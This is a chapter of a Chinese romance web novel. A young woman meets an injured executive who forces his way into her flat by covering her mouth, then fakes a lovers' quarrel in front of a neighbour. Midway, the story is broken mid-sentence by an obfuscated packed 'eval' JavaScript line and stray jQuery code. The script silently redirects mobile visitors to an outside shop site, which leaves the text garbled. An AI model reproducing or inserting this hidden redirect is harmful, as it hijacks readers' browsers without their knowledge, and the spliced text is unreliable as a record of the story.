夜幕沉沉垂落,今夜一轮明月隐匿天际。
人行道上,穿鹅黄色短袖T恤的少女脚步轻快地蹦跳前行,马尾随着动作轻轻晃动,藏不住满身雀跃。
她目光一瞥,看见了路边摆着水果摊的老人,立刻停下脚步。
“阿婆,这么晚还在摆摊卖水果吗?”
老妇人闻声缓缓抬头,浑浊的眼眸费力眨了几下,隔了许久才看清站在面前的人。
少女脸颊带着恰到好处的婴儿肥,圆圆的杏眼澄澈透亮,一笑便漾开一对浅浅梨涡,鲜活又俏皮。
见老人久久出神,刘瞳轻声唤道:“阿婆?”
“哎!”老妇人骤然回神,脸上铺开温和慈祥的笑意,连忙点头应声。
刘瞳弯起眉眼回以笑容,视线落在摊上光泽暗淡的苹果上,脑海莫名闪过一幕幻象:精致果盘之中,孤零零静卧着一颗苹果。
她心头微动,蹲下身,纤白的手指点向苹果。
“阿婆,这些苹果怎么卖?”
“小姑娘,这些果子摆了一整天,晒得不大新鲜了。你要是想要,十块钱全部拿走。”老妇人轻轻叹了口气。
“您从早上一直守到现在?”刘瞳微微惊讶。
老人缓缓点头。
刘瞳眉头轻轻蹙起,语气带着担忧:“天气这么闷热,很容易中暑的,旁人早就陆续收摊了,您也早些回去吧,夜里不安全。”
“没事哟,水果当天卖掉才好,放久了就没人愿意买。我老婆子孤身一人,早回晚回都一样。”
“话不能这么说,身体最重要。这些苹果我全都买下,您赶快收摊回家!”刘瞳连忙催促。
“好好好,十块都给你装起来。”老妇人眉眼舒展,拿起塑料袋伸手捡拾苹果。年迈使得动作略显笨拙,刘瞳望着这一幕,鼻尖微微发酸,忽然想起了自己过世的奶奶。
“小姑娘,都装好啦。”老人提起袋子递过来。
“谢谢您。”刘瞳伸手接过,从粉色猫头双肩包里掏出二十元递过去。
“不用找啦,这些果子值得这个价钱,您早点回家。”
老妇人伸手在褪色的布包里摸索零钱,刘瞳急忙开口阻拦。
“这怎么能行。”
“没关系的!”刘瞳俏皮吐了吐舌头,脸颊梨涡愈发清晰,“以后我常来您这里买水果,到时候您可要给我优惠一些。”
“哎,一定一定!”老妇人爽朗应下。
“小姑娘,夜里外头不安全,最近街上常有闲散流氓,你早些回家。”老人浑浊眼底盛满牵挂。
“我晓得的。今天公司举办聚会,所以耽搁到这么晚。”刘瞳明媚一笑。
“怎么没人送你?一个女孩子独行多危险。”
“一同聚餐的人全都喝了酒,公司不让酒后驾车,统一安排了客房。我认床睡不惯,才打算独自回家。”
“路上千万当心!”话音落下,老妇人已经收拾妥当摊位,准备骑三轮车离开。
“您也是,一路慢些!”刘瞳笑着挥手目送。
望着三轮车渐渐远去的背影,她轻轻叹了口气,心底感慨,老人家永远这般热忱善良。
同一时刻,霓虹铺满地的A市街道,黑色保时捷疾驰穿梭车流,一辆红色法拉利紧追不舍。两车在人群与道路间不断转弯,接连闯过数个路口,轮胎摩擦地面的刺耳声响此起彼伏。
保时捷车内,柳廷砚狭长的眼眸透过后视镜,牢牢锁定紧随身后的红色跑车,脸色阴沉。
正当一个路口,重型货车横向冲出。柳廷砚心下一横,牙关紧咬,油门踩至极限。车身险之又险和货车擦肩而过。
可后方法拉利来不及完全刹停,巨大惯性之下,狠狠撞上货车。
后视镜里燃起冲天火光,柳廷砚紧绷的心稍稍放松,踩着油门的力道缓缓减弱。温热的血液顺着额角轮廓滑落,模糊视野,脑袋一阵阵眩晕。车辆不知不觉驶入陌生小区,他勉强找到空位停稳。
推开车门的瞬间,强烈的眩晕席卷而来,身子一晃险些栽倒。
他抬手抹去遮挡视线的血迹,朦胧视线中,看见不远处那个穿黄T恤、七分牛仔裤的少女。挣扎着迈开步伐,踉跄朝她走去。
刘瞳耳机里循环播放着轻快的歌曲,脚步蹦跳,丝毫没有察觉身后受伤的男人,一路轻快上楼。
掏出钥匙打开家门,正要反手关门,一股力量猛地抵住门板,一只手臂骤然扣住她的腰,掌心捂住她的嘴唇。
突如其来的禁锢吓得刘瞳浑身僵硬,惊恐抬眼看向身前男人。
他衣衫凌乱,额头淌着鲜血,脸上遍布磕碰淤伤,狼狈不堪。
“别害怕,我不会伤害你,只求你帮我一个忙。”柳廷砚俯身在她耳边低语,嗓音沙哑低沉,震颤传入刘瞳心底,让她控制不住一颤。
刘瞳双眼瞪得浑圆,恐惧几乎要冲破眼底。
“我松开手,但是你不要叫喊。”柳廷砚艰难喘息。
刘瞳死死盯着他,许久才缓慢点头。
柳岩廷见状,缓缓挪开捂住她嘴的手掌。
“救——”
呼喊刚冲出喉咙,手掌再度捂了上来。柳廷砚沉下眼眸,目光沉沉锁住她。
“我警告过你,不要出声,我没想害你。”
“听清楚,我叫柳廷砚,遭到他人追杀,只想在你家中借宿一晚,天亮立刻离开。”
刘瞳眼中震惊更甚,不停发出呜呜的声响。
“我会松手让你说话,前提是不许呼救。”柳廷砚看着她激动的模样,无奈轻叹。
刘瞳飞快点头。
柳廷砚谨慎观望片刻,慢慢松开手掌。
“站在原地别动!”刘瞳连忙后退数步,伸手指着他。见他没有轻举妄动,才快步走进客厅,搬起一把单人椅子举在头顶,警惕守在玄关。
“你不用这么戒备,我不是坏人。”柳廷砚主动向后退了一步,抬手示意自己没有恶意。
“坏人永远不会主动承认自己是坏人!”
“你先听我解释。我遭人暗算追杀,你也看见了,我身受重伤无力逃亡,只想暂住一夜。”他语气带上一丝不易察觉的恳求。
“柳廷砚?”刘瞳怔了怔,“是爱森集团总经理,顶尖彩妆师那个柳廷砚?”
他单手撑住鞋架,疲惫点头。
刘瞳转身冲进卧室,片刻后折返,将一面镜子递到他面前:“你自己看看模样。”
柳廷砚疑惑接过镜子,视线落上去的刹那,心头五味杂陈。青紫淤伤爬满脸庞,血迹遍布,与往日模样判若两人。
趁着他失神,刘瞳小心翼翼抽回镜子。
“你瞧瞧现在这副样子,还好意思自称柳廷砚?”她拿着镜子在他眼前晃了晃。
“我只是被人暗算,才变成这副模样。”抿紧薄唇。
刘瞳撇撇嘴,再度转身跑回卧室。堆满书本的书桌前,她翻找许久,推开层层纸张,抽出压在最下方的时尚杂志,快步回到玄关,将封面举到他眼前。
“你确定,你是杂志上这个人?”
封面上的男人容貌俊逸夺目,正是风光无限的柳廷砚。
柳廷砚扫过封面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17847919|211769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,眉梢微挑,心底竟莫名生出一丝浅淡的自得。
刘瞳目光反复在杂志封面与眼前狼狈的男人之间来回比对,怎么看都无法重合。
“你就别吹牛了!长成这样还敢冒充柳廷砚,当我分辨不出吗?赶紧出去,再不离开我马上报警!”刘瞳说着,伸手摸向包里的手机。
“我真的是。”柳廷砚急忙上前一步。
“别过来!”刘瞳厉声制止。
“我仅仅只求借宿一夜而已。”柳廷砚满是无奈。
“单凭你的长相,我就不信你是好人,不是劫匪,便是做了什么见不得光的勾当!”刘瞳瞪着他。
“难道看人只凭一张脸吗?”柳廷砚扶额,只觉得无力。
“现在谁不看外貌?他一看便是温润好人,和你完全不一样!”刘瞳抬手指向杂志封面。
柳廷砚被她这番言论逗得失笑,轻轻摇头。
“你摇头是什么意思?立刻出去!”
“一晚都不行吗?”柳廷砚语调低沉,染上几分落寞。
刘瞳用力摇头,侧身打开防盗门,直接伸手将他拽出门外,“砰”一声无情关上大门。
柳廷砚愣神片刻,已然站在楼道之中。他望向漆黑的窗外,抬手触碰额头,掌心沾满温热鲜血。
“开门!”他皱眉持续叩门。
屋内的刘瞳充耳不闻,一头栽倒在床上,气鼓鼓嘟囔:“莫名其妙的人,偏偏被我撞上,往后出门一定要看看黄历。”
敲门声持续许久,屋内始终毫无动静。柳廷砚重重喘息,视线一阵清晰一阵模糊,背靠房门缓缓闭上双眼。
楼道里传来脚步声,他立刻警觉起身,望向楼梯方向。
上楼的是住在这一层的王大妈。柳廷砚视线一转,心头生出计策。
王大妈走到刘瞳家门口,看见高大男子抵着房门,低声喃喃。
“宝贝,我知道错了,再也不惹你生气,开门好不好?往后家务全都由我承担,别再和我置气,我会心疼。”
王大妈看不清他完整面容,却能看见侧脸大片淤伤,额头还渗着血。
“小伙子,你没事吧?”
“没、没事。”柳廷砚目光躲闪,继续敲门柔声哄劝,刻意营造情侣吵架的模样。
王大妈心中已然认定内情,抬手重重敲起房门。
床上烦闷不已的刘瞳听见敲门声,猛地坐起身。
“这家伙居然还没走?”她一边嘀咕一边穿鞋走出卧室。
房门拉开,刘瞳张口便吼:“你能不能别继续纠缠——”
话音戛然而止,柳廷砚顺势上前,一把将她拥入怀中。
“王、王大妈?”刘瞳当场怔住,脑子一片空白。
“小瞳,不是大妈多说你,这么老实的小伙子,你夜里把人关在门外,还把人伤成这样,实在不应该。”王大妈面露失望。
“不是的!王大妈,事情不是您想的那样!”刘瞳慌忙解释。
“宝贝,我真的知道错了,你原谅我好不好,往后全都听你的。”柳廷砚抢先开口,声音委屈,打断她所有辩解。
“谁是你的宝贝!”刘瞳气急,使劲想要推开他,奈何对方力道极大,根本挣脱不开。
“小瞳啊,如今踏实的年轻人很难得,可要好好珍惜。”王大妈语重心长说完,转身离开,顺手关上了楼道大门。
“王大妈!您别走,听我解释啊!”
呼喊没能拦下老人。刘瞳怒火上涌,用尽全身力气狠狠一推。
柳廷砚本就身受重伤,重心不稳,直直摔倒在地。